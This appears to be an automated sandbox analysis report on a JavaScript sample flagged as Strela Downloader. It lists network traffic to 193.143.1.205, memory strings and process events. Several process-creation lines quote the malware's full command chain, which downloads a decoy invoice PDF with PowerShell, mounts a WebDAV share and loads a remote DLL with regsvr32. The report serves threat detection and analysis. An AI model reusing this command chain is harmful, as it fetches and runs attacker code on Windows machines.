HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1488203128.000001E7B7B92000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.1547290425.00000176C6C18000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1547290425.00000176C6BE8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1547290425.00000176C6C43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.1547290425.00000176C6BE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/6:
Source: net.exe, 00000007.00000002.1547290425.00000176C6BE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/s64
Source: svchost.exe, 00000009.00000002.2786420012.000001B4F2E00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.1548050090.000001B4F2C10000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 2940, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28693593723941.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28693593723941.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 296419801857622488.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/53@3/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6208:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ltodu34b.bio.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\296419801857622488.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28693593723941.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2140 --field-trial-handle=1616,i,15871013987523686151,7360821968786260412,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28693593723941.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2140 --field-trial-handle=1616,i,15871013987523686151,7360821968786260412,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
